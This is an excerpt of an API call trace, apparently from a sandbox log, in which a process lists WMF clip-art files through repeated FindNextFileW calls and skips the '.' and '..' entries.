	[0095.316] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1
	[0095.316] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.316] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.316] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1
	[0095.316] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.316] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.316] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1
	[0095.316] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.316] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.316] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1
	[0095.316] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.316] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.316] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1
	[0095.317] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.317] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.317] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00513_.WMF", cAlternateFileName="")) returned 1
	[0095.317] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.317] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.318] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1
	[0095.318] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.318] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.318] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1
	[0095.318] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.318] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.318] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1
	[0095.318] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.318] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.318] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1
	[0095.318] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.318] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.318] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00601_.WMF", cAlternateFileName="")) returned 1
	[0095.318] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.318] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.318] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00602_.WMF", cAlternateFileName="")) returned 1
	[0095.318] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.318] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.318] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3158, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00612_.WMF", cAlternateFileName="")) returned 1
	[0095.318] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.318] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.318] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00623_.WMF", cAlternateFileName="")) returned 1
	[0095.318] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.318] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.318] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00625_.WMF", cAlternateFileName="")) returned 1
	[0095.318] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.318] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.318] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00636_.WMF", cAlternateFileName="")) returned 1
	[0095.319] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.319] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.319] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00669_.WMF", cAlternateFileName="")) returned 1
	[0095.319] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.319] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.319] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2454, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00681_.WMF", cAlternateFileName="")) returned 1
	[0095.319] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.319] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.319] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00685_.WMF", cAlternateFileName="")) returned 1
	[0095.319] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.319] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.319] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00687_.WMF", cAlternateFileName="")) returned 1
	[0095.319] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.319] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.319] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00688_.WMF", cAlternateFileName="")) returned 1
	[0095.319] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.319] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.319] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bba, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00693_.WMF", cAlternateFileName="")) returned 1
	[0095.319] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.319] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.319] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01013_.WMF", cAlternateFileName="")) returned 1
	[0095.319] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.319] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.319] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01015_.WMF", cAlternateFileName="")) returned 1
	[0095.319] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.319] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.319] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01058_.WMF", cAlternateFileName="")) returned 1
	[0095.319] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.319] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.319] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01065_.WMF", cAlternateFileName="")) returned 1
	[0095.320] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.320] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.320] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01080_.WMF", cAlternateFileName="")) returned 1
	[0095.320] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.320] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.320] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01242_.WMF", cAlternateFileName="")) returned 1
	[0095.320] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.320] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.320] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01291_.WMF", cAlternateFileName="")) returned 1
	[0095.320] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.320] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.320] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1780, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01329_.WMF", cAlternateFileName="")) returned 1
	[0095.320] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.320] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.320] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1746, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01461_.WMF", cAlternateFileName="")) returned 1
	[0095.320] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.320] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.320] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01618_.WMF", cAlternateFileName="")) returned 1
	[0095.320] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.320] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.320] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1526, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01759_.WMF", cAlternateFileName="")) returned 1
	[0095.320] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.320] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.320] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01875_.WMF", cAlternateFileName="")) returned 1
	[0095.320] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.320] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.320] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6852, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01923_.WMF", cAlternateFileName="")) returned 1
	[0095.320] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.320] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.321] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1
	[0095.321] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.321] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
	[0095.321] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02166_.WMF", cAlternateFileName="")) returned 1
	[0095.321] wcsncmp (_String1="H", _String2=".", _MaxCount=0x1) returned 26
	[0095.321] wcsncmp (_String1="HH", _String2="..", _MaxCount=0x2) returned 26
